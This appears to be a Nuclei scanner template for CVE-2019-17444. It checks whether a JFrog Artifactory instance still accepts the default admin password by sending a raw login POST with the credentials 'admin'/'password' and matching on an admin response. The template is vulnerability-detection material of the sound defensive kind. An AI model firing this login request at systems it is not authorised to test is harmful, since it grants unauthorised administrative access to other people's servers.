nuclei-templates/cves/2019/CVE-2019-17444.yaml

42 lines
1.3 KiB
YAML

id: CVE-2019-17444
info:
name: Jfrog Artifactory default password
author: pdteam
severity: critical
description: |
Jfrog Artifactory uses default passwords (such as "password") for administrative accounts and does not require users to change them. This may allow unauthorized network-based attackers to completely compromise of Jfrog Artifactory. This issue affects Jfrog Artifactory versions prior to 6.17.0.
reference:
- https://www.jfrog.com/confluence/display/JFROG/Artifactory+Release+Notes
- https://www.jfrog.com/confluence/display/JFROG/JFrog+Artifactory
- https://nvd.nist.gov/vuln/detail/CVE-2019-17444
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-17444
cwe-id: CWE-521
tags: cve,cve2019,jfrog,default-login
requests:
- raw:
- |
POST /ui/api/v1/ui/auth/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Origin: {{RootURL}}
{"user":"admin","password":"password","type":"login"}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- '"name":"admin"'
- '"admin":true'
condition: and